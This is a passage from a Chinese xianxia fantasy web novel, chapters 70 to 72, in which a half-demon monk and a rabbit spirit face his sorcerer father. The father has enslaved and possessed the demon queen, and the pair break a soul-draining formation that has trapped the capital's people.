入眼,巨树红绸翻浪,诡异的心跳从树干中传出。 曾经这里并没有这样一棵树。 二百余年,足见得有人邪术修得越发厉害了,怕是就连不空圣者也没料到还会有这样的祸患留下。 他挥手欲毁了这棵树,却如触了某种法阵的防御,顷刻被传至了地下某处。 碗粗的锁链四面八方而来,裴息尘躲避砍动,不断同锁链上的符纸碰撞出法光。 足有半刻,粗重锁链才失去效用地落下水,裴息尘旋身落在水池中心的石柱,锐眼看向昏暗某处。 缓缓地,从昏暗处行出一文士袍青年,面色苍白透青,容颜却秀致得瞧不出年岁,隐约间,还有一分与裴息尘的相似。 随着他的走出,四面墙壁燃起多处跳跃的灯火。 他看向裴息尘,带笑地温和道:“吾儿,你终于回来了。” 第70章 青年文士的话音方落, 裴息尘便嫌恶地一道剑气斩去。 眼前的人几乎不能称作是人,简直是一张人皮裹着一堆妖物的怪物,不过是一道剑气, 就惊得皮囊下的诸多妖物在诡异地动,人皮流动出畸形的棱角。 一道黑影涌出人皮吞下剑气, 落于青年文士的影中。 而那影中还不知藏着多少妖物, 挣扎着、渴求着, 黑糊糊一团又一团地攀上青年文士的腿与下摆。 青年文士如同早已习惯般, 捏起衣摆抖了抖, 一圈一圈法阵一般的光芒将黑糊糊抖落压回影中。 他抬眼,仍旧带着笑:“见笑。” “还记得你母亲以往最喜欢我干净整洁的模样。” 裴息尘又讥又蔑地看他作态,他的记忆中根本无有父母同框的时候, 只有被困的大蛇, 还有需要他血不知做何用的虚弱男子。 然青年文士却似乎很欣喜他的出现,闲庭信步一般走近闲话家常:“两百余年了,吾儿,你可想见见你母亲?” 裴息尘厌恶不减, 并不受其言语迷惑, 可若要说没有半点动容也不对, 他至今都无法忘怀,大蛇对他的矛盾情感。 “她在哪?” 为人子,裴息尘还是做出了偏离他妖性的回应。 话出口, 他甚至觉得这并非是他的本意,而是那个意识又在作怪了。 冷脸敌视青年文士更甚。 裴琅难抑咳嗽, 眉眼却舒展着笑:“你果然在意她。” “也罢,机会难得,我们一家人确实该见见。” 犹是“见见”二字话落, 裴琅的唇角笑意发生变化,地牢之中也顷刻一阵地动,石柱下沉,巨大水花从水牢滂起,腐臭味漫得就连躲在层层衣料中的玉扶都闻得见,她缩小到最小的形态,捂鼻又捂唇,尽量不影响外头,也牢记,她是最后的杀手锏,责任非常大。 外头,裴息尘目眦欲裂,满身肆意着杀气,气疯了地看着面前腐烂味的源头。 臃肿的大蛇,从头到尾桶一样地圆,鳞片更是剥落得瞧不见几块好皮,那大张的唇呼出的气息,恶臭得恍若有什么要吐出来。 顷刻,裴息尘明白了什么,原来,他的母亲在送离他之后,连妖躯都被炼成了尸傀—— 难怪明明消失了二百多年,可妖域当中却只是近百年没有再现,也原来,那些因质疑被杀害的大妖,完全是眼前之人的手笔。 臃肿大蛇滑行至裴琅身前,全然臣服守护的姿态,裴琅像是无觉腐味,轻抚流着黑脓的蛇身:“吾儿,你可知我第一次见她时,她是多么美丽?” “可惜——” “她的身体不适合我。” 裴琅一刹瞥眼到被激怒的裴息尘,笑意轻松,轻拍大蛇妖躯。 妖躯迎上攻击。 裴息尘的剑气不可谓不锐,但凡他一剑而下,大蛇妖躯必然受损,也是在眨眼的功夫,他的剑锋偏了方向,更扫向躲在其后的小人。 裴琅毫无惧意,大蛇蛇尾为他挡下了所有攻势。 蛇尾断裂。 无血,只有粘稠的黑色粘液,粘液如有生命,生长黏连,又续接上蛇躯,只留下一道可怖的接痕。 裴琅无比满意自己杰作:“吾儿,如何?” “你不配为人。”裴息尘怒极。 裴琅却在笑,从温和到癫狂,没有半分征兆,皮囊下棱角涌动,形如怪物:“为人?哈哈哈哈……” “为人有什么好?” “生老病死,短暂得连修士的存在都触碰不到,你可体会过得病?体会过老去?知道什么无能为力……” “我早就不当人了!” “就连你,若不是那老秃驴横插一脚妨碍我,你早能成就了我!” …… 他终于撕开了作呕的温情,显出了目的,从始至终,他想要就是妖躯,一具足以承载他如今的妖躯。 影中妖魄倾巢而出,大蛇妖躯伺机而动,地宫中打斗动静极大,可整个皇城却静得过分。 玉扶对声音太敏感了,剥离开地宫的动静,偌大的皇城该有巡逻、有人声、有鸟虫……种种声音在还没走至社稷坛时,分明还是存在的,可现在,这些消失了! 玉扶传音裴息尘:“阿裴,要小心,我听不到外面的声音了!” 裴息尘没有回应玉扶,但他偏身躲避攻势时,略兜了玉扶一把,令她藏得更稳固一些。 阴沟老鼠二百多年的筹谋,想也知不会只有他眼下见到的这些,从始至终,他都没有用尽全力,甚至就连法相也不曾显出,多以躲避与蛮力应付,如此交手下来并非没有发现—— 裴琅他在拖延时间。 裴息尘收手后撤,立于石柱之上,冷眼扫视被乌压压妖魄护在中心的男子,如此多的妖魄,也真亏他一个凡人能吃得下,无怪会变成一个怪物。 但比起讥讽,他更想知道的是,此等能将妖魄炼化收为己用的方法裴琅是从何得来?还有,凡域可没有这样多的妖魄供他驱使,他如何往来妖域与凡域?他在等什么? 妖魄一个一个地重新回到裴琅影中,肉身如同要崩溃了一般地扭曲作呕一瞬,他擦擦唇,面色更苍白地可惜道:“吾儿的妖躯,看来清醒时是不得见了,也罢,就到此为止了。” 只见他影中析出一个凶狠轮廓,倏地挣脱没入了大蛇体中。 臃肿无神的大蛇瞳中霎时显出凶性,蛇尾暴躁挥扫,蛇瞳锁定裴息尘。 裴息尘并不知大蛇发生了什么变化,可是有一刻,其身上爆发出的气息恍若真的“活”过来一般。 但他并不能因此就放过裴琅,几乎是在察觉其退意的一瞬,他便追拦而上,然还是晚了一步,地宫封锁,裴琅消失了。 地宫之上,巨大的愿树树干中心跳仍旧搏动着,这是属于雪仙的心脏,还有她的最后一魄正捏在裴琅手中,裴琅喃声:“结束了。” 一魄消失,心脏停止跳动,所有答应能令雪仙复生的力量全部涌往地下,皇城死一般地静,皇都也成千上万的百姓陷入沉睡,耗费他上百年的大阵只为万无一失地夺来妖躯。 若非不空圣者的破坏,他何至等到此时?又何至将自己弄得不人不鬼? 但凡令他多留裴息尘几年,他足以换更多的血,可以更早更契合地夺来妖躯。 裴琅狠狠闭了闭眼,将悔恨从脑中驱赶,身上分出最驯服的妖魄为他镇守大阵各方。 然也是因此,些许不安分的妖魄又企图逃离,呕吐阵阵,强压而下。 * 地宫之下。 臃肿大蛇力量大增,光靠躲避已经无法应付,不输大蛇妖躯的法相显出,同样庞大的蛇躯对抗一处,裴息尘趁机逼出融入大蛇躯内之物。 然,甫一抓握,荧光四散,阴气横生,他的神魂受到冲击一般地一震,这是—— 妖王遗留的残魂? 并没有太多时的思考,水牢水位下降至显出牢底大阵,点点荧光陡地被吸入,裴息尘的神魂也在一瞬受到拉扯。 与此同时,更多涌入地宫的莹光附着,大阵彻底亮起,偌大地宫犹如阳间的另一个地狱,魂念细语,不绝于耳,游魂飘荡,魂阵已成。 一阵巨物倒塌之声后,玉扶开始就连地宫的声音都听不见了。 甚至,阿裴也失去了动静。 这太奇怪了,她在怀中用爪按压阿裴的腰腹,传音也一刻不歇,但都没有回应。 玉扶开始着急,从阿裴的衣领中冒出头,先觑见了在发光的法阵,继而是垂头盘坐的阿裴,他的剑也立在一旁,在大阵中隔开一个不受侵害的小空间。 玉扶跳出来观察,她腕间也缩小了的禅珠在发着浅金色的柔光,它似乎一直在起作用。 或许,这就是她还清醒着的原因,而阿裴,瞧着也不像是真被法阵影响陷入昏迷,他在做什么? 玉扶迟疑地想了想,化形后,额心触上息尘的额,意识一瞬追寻阿裴而去,被吸入大阵。 眼前的景象发生了改变,她的神魂进入了诡异的空间,周遭人声鼎沸,百姓叫卖,她好像在经历一段不属于她的人生,从呱呱坠地,到金榜题名,骑马游街,喜悦地与乡亲父老拱手致笑。 很快又变成了个闺阁女子,知书达理,谨守闺训,直到出嫁,红烛高堂,红帐春宵…… 短短时间,她经历了数段不同的人生,可她又无比清醒,这些都不是她。 手腕一阵灼痛,她挣出这些不同的人生体验。 垂眼去看,原本带着禅珠的手腕上,多了一圈金纹。 她好像知道她经历的这些人生都是谁的了,他们每一个都是普通极了的凡人,不是皇都的百姓又是谁? 总是坏蛋模样的阿裴是不忍令这些无辜百姓魂飞魄散吗? 他的魂此刻又在哪? 玉扶慢慢于魂阵中寻找,不可避地又被一魂附着。 眼前景象再次一晃,她出现在了海面。 方要熟门熟路地挣脱,视线中出现了一张眼熟的脸,雪仙的,而她正被雪仙唤作主君。 玉扶下意识弯向海面,去看映出的脸庞—— 英气的眉眼,与她见过的蛇神像神似的很。《 》 70-80 第71章 玉扶没有再走了, 神识完全被妖王残魂吸引。 她见到了好多妖王的记忆片段。 从一颗被精心养护的蛇蛋到被送出妖神古墟,柳真清已有一定的意识,甚至还继承了诸多传承。 但离开双圣后的她, 实还没有破壳的能力,盖因厚厚的蛋壳外, 还有双圣设下的禁制, 这禁制既保护了她, 却也限制了她的选择, 她只能一直一直积蓄力量, 直到沧海桑田—— 柳真清作为一条营养不良的小蛇,艰难从蛇蛋中孵化了,外头的灵力稀薄得她破口大骂, 但凡她能被扔在一个富饶点的地方, 她早就能出来大杀四方。 然也就想想,在大杀四方之前,她先饿晕了过去。 再醒时,她身边出现了不少同族, 她被捡回了一蛇窝, 一条条连灵智都没开的小蛇不断与她缠啊缠, 还有话都说不清楚的小蛇问她是不是毒蛇,不然怎么蛇鳞的颜色怎么那样鲜艳。 嫌弃归嫌弃,柳真清还是在蛇窝住了下来, 但慢慢的,她的食量与不同就显现了出来, 小小的蛇窝根本不足以让她发挥。 她蛇尾卷着个装满吃食的小包裹离开了蛇窝,踏上了一边寻找妖神古墟,一边四处寻衅的路, 许是后世的妖族太散,太弱,还总斗来斗去,令她想起了还在蛋中受双圣熏陶的日子,她萌生了建立一个能令各妖族和谐地方念头。 如此,她挑战的大妖也越来越强,收服的妖众也越来越多,再回首,已是妖域的王。 但可惜的是,她如何也寻不到回妖神古墟的路。 然而,脑中的传承却随着力量的强大,又觉醒许多,她越发想回到她出生的所在,她该令圣山重见天日,该祭拜双圣,也该令死在那场劫难中的古妖们安息…… 这似乎是刻在她血脉中指引。 她开始带着一只总被欺负的可怜狐狸四处寻找,偶然地,飘荡过了无渡海,一个海浪给她送来一个快死了的男人。 随手救下却被当作了仙人,还与她求仙药献给家父。 柳真清饶有兴趣地盯着被救男子:“你不为你自己求?” 裴琅秀致面孔露出伤怀的神色:“家父乃大昭开国帝王,一生戎马,为国为民,如今旧疾凶险,我这一身病躯,做不了什么,得有机缘遇见仙人,不敢为己求。” 柳真清常与妖争斗,与修士的摩擦也不断,还真是极少见这样弱得要死还一心想着旁人的凡人。 恰好无事,妖神古虚也总寻不到,她竟跟同裴琅踏入了凡域的地界,小狐狸如何劝阻都不能改变君主的意志,恼恨突然出现的人类。 毕竟是残缺的记忆,玉扶看到的记忆到此突然就跳过了许多,她能见到的场景一变再变,柳真清与裴琅的关系好了不只一点,她在凡域逗留许久,后来兴至,甚至将裴琅带到了妖域乃至修界。 眼界的开阔,贪欲也开始滋生,裴琅从遗憾无有修炼资质,到着迷般地迷上修界资源,只用了短短三年,这三年,他阅书无数,从可借灵石等外力的辅助方式从阵法符篆开始接触。 他太有天分了,身上的韧性吸引得妖王在他身上砸了颇多资源。 岁月漫长的大妖,总是会对全然不同于自己的渺小人类产生新奇感,想见一见经她雕琢的凡人到底能成长到何地步。 柳真清开始为裴琅收集人修偏门的修炼法门,给他提供大量大量的灵石,甚至为延长裴琅的寿数,她亲入各种凶险秘境,收集此类天材地宝。 而裴琅也极其珍惜柳真清的赠予,对她既感念又倾慕,知她在寻妖神古墟,熬干心血地研究各种古籍记载,有条理地推断大致方位。 随着一日复一日的陪伴,裴琅服了驻颜丹,他道大妖寿数漫长,人族苍老太易,他希望,至少在他有限的时日里,能以最好的姿容陪伴在妖王的身侧。 他本就俊美隽雅,如此言语无异于与大妖表明心意。 妖王自来恣意洒脱,也不免动容,裴琅成了妖王的男人。 渐渐地,柳真清越发喜爱上了处处合她心意的裴琅,她与他有了孩子。 大妖子嗣难得,只要一回想起她还是一颗蛇蛋时,受到的父母关爱,她对腹中未知的孩子便充满了期待。 但她也不得不面对一些问题,她的妖王之位固然是打出来的,然不服她的并不少,而孕育期,她必然会耗费更多的精力,甚至变得虚弱。 她需要一个非常安全的地方,安心孕育胎儿。 她选定了远离妖域的修界某一处,全心全意地用灵力滋养未成型的胚胎,她时常会感到疲累,因孩子的父亲是个凡人,并不能与她分担这部分责任,不过这在她看来,并算不上什么问题。 她享受成为母亲的喜悦,这世间日后会多一条与她血脉相连的小蛇,会继承一部分与来自同一处的传承,会与她一同寻找回往妖神古墟的路。 雪仙近些年成长颇多,她将妖王城的事件尽数交给了雪仙与一些忠诚的妖属。 至于裴琅,他是个不知何时就会死亡的凡人,柳真清怜惜地将他带到了身边,他固然不能提供养育上的助力,可安静又细致,他不惧她的原形,总能给她妥帖极了的照料与陪伴。 她越发喜爱他了,愿意纵容他的喜好,赠给他更多的宝材,偶尔还会在他试验法阵灵力不足时,帮上一把。 一日,裴琅开心地与她分享,联通凡域的法阵终于被他完成了,他欲亲身往返试验。 柳真清担忧他会死在不稳定的传送乱流中,给了他一片坚硬的蛇鳞作为护盾。 传送法阵非常成功,裴琅常为讨她开心,从凡域淘来诸多稀奇的小玩意。 日子缓缓地过,这一孕的时日也很长,足有好几年,她越来越不希望裴琅有死的那一日,许是对凡人的怜惜吧,一次,她答应裴琅通过传送阵前往凡域看一场灯会。 她对凡域的印象并不坏,一群弱小,但无比努力生存,用智慧创造了非同寻常秩序的国度,即便灵力上有些不利于她孕育,可若只是短暂停留几日并不妨事。 然,她没想到,这一去,她再没能离开,盛大的烟火出了意外,她受不了求助到面前的弱小人族,帮助他们灭火不过几个小法术,但忠诚的小狐狸也背叛了她,早在更早时熨帖送上的灵茶针对她地下了药,有意针对她的法阵于大火灰烬中显出,被困,被转移至地宫。 许久,她才看清她一手培养出的情人与妖属在打什么主意,总因狐尾而被欺负的雪仙,有机会补足天残,而她的情人,更是看走了眼,他的野心从始至终都藏在文雅的面皮下。 起初,裴琅于众多兄弟中母族不显,剑走偏锋地出海寻仙山,为大昭皇帝求药,后来见识了凡域之外的域界,他想修行,苦于体质根本不适合修炼。 他以往有多嫉妒什么都比他拥有得多的兄长们,那现在就有多嫉妒凭借血脉就够强大的妖。 他有多崇拜强大的妖王,就有多想将那份力量占为己有,他一直在背地里钻研邪术,结合阵法上的天赋,从小妖开始尝试,以阵炼困妖魄,驱为己用,如此还不够,他更想将妖的力量直接取用。 为此,他许给雪仙重利,抓来修士与妖,先将妖血换给修士,再一魄一魄地同妖的某一魄调换。 如此试验了不知多少年,从始至终他都不曾将结果用到自己身上,倒是雪仙,为了那一尾,彻底成了忠于他的妖仆。 这些皆是柳真清在被抽离妖血时,裴琅亲口承认。 然而,柳真清太过特殊,也太过强悍,她的妖血即便是同族的妖都难以承受,裴琅几乎要拿她没办法,他盯上了她腹中有一半人族血脉的胎儿,是这个胎儿才令强大的妖王有了可乘之机,也是这个胎儿分走了妖王的诸多力量。 裴琅开始想办法保证妖王能顺利诞下胎儿,各种能令大妖昏睡无力的药材浸入水牢。 柳真清快速虚弱下去,每日稀少的灵石,补充的灵力极苛刻地卡在不令她妖躯枯灵的界限。 不止一次,柳真清欲除去腹中胎儿,但已孕了数年,胎儿早已成型,成型的孩子无异于寄生,与母体争夺微少的灵力,甚至在灵力不够时,掠夺古妖血脉中的力量。 她当即决定立即诞下这个孩子。 其实,于妖而言,繁衍只是一种选择,其父是谁都无所谓,重要的其继承了自己血脉,如果有更多的时间,足够的灵气,她或许会像双圣一样孕育一个精心雕琢的孩子,而不是一个失败品。 是的,她强行诞下的并非是蛇蛋,也不是一条小蛇,而是一个四肢健全的婴儿。 真可怜,连神智都没有开启。 若被抱走,怕是日后连生母是谁都不知晓吧? 柳真清将其卷丢到池岸,任其自生自灭,只当真被人抱走时,她还是忍不住余光追随。 那个孩子前两年完全不知是如何过的,柳真清一直在准备反扑,她暴怒,唯有血洗了这片宫域,嚼碎了裴琅的骨头,生吞了狐狸才可平息。 但裴琅也在短短的两年里发生了变化,他不再真面目示人,浑身裹在黑兜里,也掩不住地散发恶气,欲从人变成妖,岂是轻易能做到的,他变成了一个失去人皮的怪物。 她嘲笑裴琅异想天开,积蓄已久的力量顷刻化蛇吞噬,穿过尾巴骨的锁链被她拽得哐当响,只差一点,她就可以嚼下裴琅的头骨,也是这时,裴琅的裹身黑兜中冒出几只大妖的妖魄。 这几只妖魄显然没有被完全炼化,形态还瞧得出几分原形,气息也甚是熟悉,是她留在妖王城中的得力妖将。 无异于告诉她,他想要的还有她的妖王城。 挑衅,完全是挑衅! 柳真清被激怒得发了狂,但她积攒的力量显见的还不够,她一直在变弱,而裴琅的邪术一直有进展。 她开始想那个孩子,是不是被用来做了什么。 不久,才念过的孩子也被送到了地牢,年幼的半妖,开始显出妖性,不认人,只会伤害与戒备,小兽一样。 她不想管。 可见他挫样,又气不打一处来,这玩意真是她肚中下来的? 好歹在什么都不缺的情况下孕育了几年,怎么能一点都没遗传到,实在看不下去,她才会趁其靠近时,探出蛇身困到身边,帮其梳理一下筋络。 这一梳理,不免发现这孩子瘦得过分,细胳膊全是孔痕,她气得将孩子甩开:“废物。” 一头扎进了水牢底下,她太恨了。 恨被夺走力量,恨引狼入室,恨识人不清…… 水池被她的动静掀得水花乱拍,地宫也在震动,甫一有人来查看,她接连生吞数个凡人。 没有人是无辜的,所有都是! 一场近乎拼命的闹动,她见到了裴琅,再次被镇压,鲜亮的蛇鳞被战得翻出皮肉,被惩罚似的剥去许多,裴琅警告她安分。 如何能安分? 她一次次地挣扎,战得身上没有一块好皮,最后疲了乏了,蜷缩在水底。 偶尔有点月光从头顶缝隙洒落,她会想起自由的时候。 又笨又挫的小蛇也长大不少,至少能控制化形,但依旧太弱,不像是她的孩子, 她不喜欢小蛇的靠近,小蛇靠近的每一次,都是在提醒她的无能为力,也在提醒沦落到此,有小蛇的一份,她想吞了他。 日子一日日重复伤害地过,柳真清几乎要看不见逃离的可能,没有人会想到凡域藏了裴琅这样一个邪修,他太小心了,即便离开凡域,也会抹去痕迹,再躲回凡域。 至于妖域,至今,她还被误以为在某处游玩,雪仙更是仗着她的名头,趁势而起。 而她曾带着出现过的凡人,凡人罢了,说不定早就被玩死了,谁又会在意? 她想,她会死在这里,或许更惨,魂魄也会被炼成为怪物的一部分。 但肯定的是,真到了那日,她会自己选择死法。 * 佛修是最会寻地方苦修的一类修士。 柳真清见到有佛修出现略惊讶了一刹,然则,这老和尚也不知在凡域走了多久,见到了多少苦难,伸出了多少次援手,他的丹田都快见底了。 留下来多一个陪葬的。 柳真清眼都懒得掀,对其询问回答得更是不着调:“老和尚,就你见到的这样,技不如人,被人抓了修炼邪法。” 一妖一僧并不知彼此底细,可一驱赶一怜悯,皆是出自本心。 不空合掌道:“施主若只是为贫僧好,大可不必如此,我既能到这里,便已将此处摸清,邪修躲藏凡域为祸,该诛!” 柳真清蛇尾掀其,锁链拖动:“大师要救我?” “那不如先将我这锁链断了?” 不空这一瞧,才见锁链的不同寻常,其上小型法阵一个套一个,尤其是锁住蛇尾的部分,更是层层加固。 犹是他们衡量的功夫,角落的半妖小蛇冲出护在大蛇身前,对不空作撕咬凶狠状。 柳真清蛇尾重新放下道:“罢了,老和尚你也别在这里白费了性命,我们做个交易,替我将这小蛇带离这里如何?邪修交予我。”—— 第72章 妖王的记忆片段又开始出现跳跃, 玉扶的神识也跟着转移,她见到妖王让渡传承,见到妖王蛇尾从锁链处扯断, 见到妖王与裴琅死斗…… 地宫倒塌,裴琅伤重, 妖王奄奄一息。 裴琅察觉到了有人在帮柳真清, 眸光死死盯着将死的柳真清, 他本不想冒险。 可半妖不见, 他的身躯崩溃边缘, 别无他法。 他夺舍了柳真清,继而通过传送,毁去法阵。 往后有多年, 他没有再回凡域, 就连妖域当中,他也只在妖王不得不出面时,虚影显现一下。 至于他夺完舍后的妖躯,与他拼凑得乱七八糟的魂发生了排斥, 无论如何小心爱护妖躯, 都阻止不了腐烂。 更遑论是继承妖血与妖力了。 不得已, 他也换过一些其他妖的身躯,但无一例外,不相合, 腐烂极快。 如此不断更换身体,倒是顺带处理了不少质疑妖王发生变化的大妖, 维系住了妖王威望的同时,将来取而代之并不成问题。 可妖域大妖众多,修界宗门势力极大, 并不适合他久留。 好在后来凡域的藏身所重新变得安全,他剥了一个皇室子弟的皮囊,暂维持住了人形,但妖王的妖躯,他也不曾舍弃,利用重新炼化的妖魄撑起烂肉。 而妖王死前将散的残魂一直被他强行留住,只等寻回半妖。 玉扶所见的最后一段记忆,便是残魂的最后,空有记忆,却并不辨人,被放回到已面目全非的妖躯,全凭本能在战斗。 玉扶好半晌才从妖王的记忆重抽出情绪,泪水淌满了面颊。 她既同情妖王的遭遇,又愤慨裴琅的不为人,怪物,简直是丧尽天良的怪物。 她更想阿裴了,他小时候真的太苦了,她再也不怪他两个意识变来变去奇怪了,他能成长成善良正直有爱心的佛修已经是不易,而阿裴也坏得不出格,他的不逊,杀意,或许早就在佛宗中给磨平了,他只是变得慵倦,用什么都不过心的抽离姿态去作壁上观。 可正是这样,才更心疼了,这简直就是泡在苦水里长出的甜瓜。 玉扶好想找到他,抱抱他。 他的魂到底会在哪? 如此想着,她又跟随着路过的游魂换了场景,这次又回到了她已经熟悉的大昭皇城。 玉扶只犹豫了须臾,奔向地宫,许是心念太强的缘故,她的神识完全地显出了她自己的模样。 这次,她在地宫中寻到了一个小小的身影。 放缓脚步,与望来的小孩对上视线。 小孩不过七八岁大,身上布料可见不差,可破烂的很,四肢都露在外,一些蛇鳞浮在皮上。 在妖王的记忆中,玉扶见到过,这时期的阿裴没有名字,稳不住半妖的身躯变化,天生的血脉时时折磨着他,他没有归属,娘不疼爹变态,不知自己到底是人还是妖,或者也认定自己是怪物。 他会控制不住妖化,控制不住破坏,被同妖王关在一处,无不有裴琅对妖王的试探。 玉扶想,阿裴的神魂会在被大阵吸入后,出现在这里,一定与他幼时记忆太过深刻有关。 她几乎怜爱地将人一把抱住。 本就是神魂入阵,亲昵的拥抱,敏感的神经的根本控制不住接触,息尘很快不自然起来:“阿扶,你怎么进来了?” 玉扶松开手,不急着回答,而是观察小孩的形态,用手戳了戳他的脸,浮现在皮肤外的蛇鳞扩散似的蔓延。 息尘自来不太在意容貌,可这种肌肤蛇鳞东一块西一块地乱布,想来也是丑陋的,他不免阻止:“阿扶,莫闹。” 玉扶微弯下腰,对视,肯定道:“你是息尘。” 息尘:“是我。” 玉扶无奈叹气,又变了,真是一点征兆都没有,她便将在外头看到的阿裴是如何用剑于大阵中辟开一容身之域,又是怎么没有意识的说了一下,继而道:“我担心嘛,我就进来了,毕竟我是杀手锏,就算要逃跑,我也不会丢下你的。” 息尘微微地笑,浅浅地“嗯”了声。 玉扶又盯着他目不转睛地瞧,实好奇,为何他的的神魂会是这个幼年的形态,联想到见到的妖王记忆,玉扶藏不住地问:“息尘,你是不是也见到那位了?” 息尘神情微滞一刹:“是。“ 玉扶惊讶:“你记忆是都寻回来了吗?” 息尘:“嗯。” “那你变成现在这样也是因为这个吗?“ “会有事吗?” 玉扶追问。 看过妖王的记忆片段,她再如何也不至傻到认为裴琅是干了好事,帮息尘寻回了丢失的记忆,而是想,这个大阵是不是就是靠此影响息尘,然后达到炼化的? 毕竟他都变得这样小了。 是不是代表神魂的力量也弱了呢? 裴琅会在这时候夺走息尘的躯体吗? 玉扶懊恼掀眼,如意识到好心办坏事的懊恼孩童般怯怯:“我是不是不该进来?还将你给你护身禅珠用在了这儿。” 她抬手,禅珠烙下的金纹现给息尘看。 她能于魂阵中一直不受影响,禅珠功不可没,即便到现在,那一圈金纹还泛着湛湛的光。 息尘双手握住了玉扶的手,摇头:“阿扶,你来的正好。” 玉扶呆呆地张圆了唇,不解其意,总之,她应该是又没有做错,似乎在息尘这儿,她就没有错的时候,她心情因他的一句话,变得极快,她好想抱着他亲亲啊。 如此想,也如是在小息尘的脸蛋上吧唧了一口:“怎么办呀,我好喜欢你。” 玉扶不懂有的师姐为什么能喜欢上好多人,她的心,只是一个不,是两个就已经好满了。 她无辜地眨眼,退开。 息尘就算变小了,呆样也一点也不减,颊面恰被她亲碰到的蛇鳞受惊似的动,肌肤也顷刻泅出透血的红。 好喜欢。 玉扶抿着唇地盯,一点点地从小模样的息尘身上看出成年的他来,或许因只是神识的显形,除去乍然见到的第一眼,之后都瞧不出可怜,眼神太平和,太成熟了,就像个小大人。 “你能变回来吗?”玉扶忍不住问,对着这样个小模样的息尘有色心,她会忍不住谴责自己的。 息尘轻轻摇了摇头:“阿扶,你该知道的,神魂的形态某种意义上代表了当下力量的强弱。” 玉扶当然知道这一点,她修为退到化形的时候,神魂就很难维持着人形,可现在她可以轻易维持人形,也可以想变兔子就变兔子。 她还想着息尘应是后一种情况,现在看来并不是,而是真的变弱了。 所以是为什么呢?在她寻来之前,还发生了什么吗?她来的正好是可以做什么吗? 玉扶询问抬眼。 息尘解释:“这阵应是他专为夺舍我所备。” “万魂为炼,每历一场此处人魂的生平,等同将我的魂被洗练一次,直到忘记来处,忘记名姓,忘记自己是何人。” “他应知我不会轻易陷入大阵,妖王的魂便是诱饵。” 提起妖王,息尘眸色略暗淡,他该唤一声母亲的,可这一声,以往不曾唤出过,到如今,即便恢复那份记忆,也很难唤出。 他们母子之间有情亦无情,更多是觉拖累与亏欠的忏然,想来,若是没有他,妖王或会是另一个结局。 阿裴应也是这样想,从一开始,便是他率先追妖王的残魂入了魂阵。 魂阵不止有人魂,还有许多具有攻击性的妖魄。 但凡他的神魂有失,或者就此消亡在魂阵当中,妖躯的夺舍,便轻而易举。 阿裴若是心狠一些,便不该踏入魂阵。 可他踏入了,也令自己得到了恢复记忆的契机,那一刻,分割已久的妖性与人性莫名地圆融,一种本该是一体的舒畅之感传遍神魂的每一处。 然而,也因分割的太久,圆融一瞬,又被潜意识地排斥,掌控神魂的主意识调了个。 受攻击的影响,息尘的神魂一直在被削弱,但真正削弱他的是他在拯救魂阵中的人魂。 此些人魂不难与皇都的异象联系在一起,裴琅万事备全,已不再管此方百姓的死活,孤注一掷地要夺舍,一都百姓皆成了筹码。 玉扶听完,厌恶地皱眉,这赤、裸裸地拿捏佛修呢,好心肠的佛修哪里会见死不救! 对玉扶的愤慨,息尘只是笑,有阿扶来,接下来要破阵就简单上许多。 他腼腆地搭上玉扶的手。 玉扶腕上禅珠金纹霎时如遇到真正懂得用它的主人,金光更亮。 金光将他们的手紧紧裹在一起,玉扶见到息尘的身躯开始发生变化,面颊一点点地褪去稚嫩,身高不过几瞬,就拔得比她高。 这一刻,玉扶恍若又感到神魂交缠在一起的战栗,她的手指反握住息尘,摩挲着他的指缝,交握而入,讨价道:“你送我的,你现在都要回去了,算你欠我的吗?” 少女的唇瓣就凑在眼下,她是斤斤计较的兔子,可她计较的绝不仅仅是物品,她的眼里写满了欲与爱,她在向一个总是对情爱不够坦诚的佛修索爱、索欲。 他回握紧了玉扶的手,低着的眼,稠得要化成水的眸光不偏不倚地对着玉扶答应:“算。” 玉扶开怀,张开双臂勾住他亲,哺给他大团大团的灵息,技巧极高地勾住他的舌抵入。 一吻绵长,许久,玉扶才意犹未尽地松口,她使坏地咬着息尘的耳道:“你的功德要有我的一份。” 撩人的小兔,无风而心摇,息尘定了定心,方着手破阵,此阵最大的难点在于困在内的人魂太多,甚至还在通过某种途径在补入。 即便破开一两个阵点,外头守阵的裴琅不会没有准备,且如此做,也解放不了众多人魂。 他并不去破阵,而是准备于此阵中强开出通道,助人魂回魂。 佛宗有一禅法,可开往生通道。 然万法皆通,此阵中又大多是生魂,并不必往生,只需开一回魂通道即可。 他趺坐结莲花印,口中喃有玉扶听不懂的佛法,喃声并不大,可却犹如传播到了魂阵的各处。 很快,人魂聚集,有金色通道破阵而开。 通道非只一处,一旦有魂聚过多,他们便如受到指引一般,喃诵经文,继而又开金色通道。 完全偏离阵点的破阵,裴琅即便察觉也难以补救。 诸多妖魄围绕息尘阵外妖躯,冲撞凶剑。 裴琅怒及,他筹谋许久布下的阵法,竟不足以撑到将息尘的魂也给炼了,他不再贪心,也不再等待万无一失的夺舍,欲抢在息尘逃出魂阵之前夺走妖躯。 凶剑没有主人的加持,很快不支,半妖躯体霎时吐出鲜血,而在魂阵中的息尘也陡地一晃,开启的通道渐在关闭。 玉扶着急地跺脚,她不再管固执的佛修,神魂顺着未完全闭合的通道回到了身体内,一刹带着息尘的妖躯转移了位置,方破开凶剑剑域的妖魄立马转来攻击她。 玉扶得用的术法一个接一个地抛,地宫在她施展下,地形都发生了变化,数个张牙舞爪的妖魄皆被她困在暂捏出的无相石石阵中。 但不知为何,玉扶还是感到炸毛的毛骨悚然。 胆小擅长逃命的妖,会偏爱自己的直觉,几乎是在攻击从后来的前一刹,玉扶遁地了,这次,她并没有带上息尘的妖躯。 而她的直觉也并没有错,攻击她的是息尘的妖躯。 “原来、还有、帮手,难怪、能这么快、破我的阵。”妖躯适应地扭转脖颈,其中一手掏向玉扶的手也还不曾收回。 玉扶震惊极了地暗中观察,她肯定,这完全就是妖躯被抢了的说话调调。 阿裴和息尘对身体的掌控才不会这样生疏。 可她完全想不到方才在她护着妖躯的时候,是什么时候被钻了空子。 唯能想到的,一定是在她出来前,裴琅就夺舍进了息尘的躯体。 真的,非常讨厌。 玉扶恶心坏了,她根本受不了有人用息尘的躯体做出任何表情动作。 她气得不躲也不跑了,师姐们送的法器符篆不要钱似的撒,体型膨胀得将整个地宫掀翻,前爪一拍一个妖魄。 然,她的威风伴随着的是灵力耗空的危险,裴琅在短暂落于下风后,适应了四肢,妖王的身躯再次受他的操控从地下抬起蛇首。 玉扶敏锐地缩小身形再次以躲为主。 也是这关头,玉扶瞧见有什么从地下冲向被裴琅占据的妖躯。 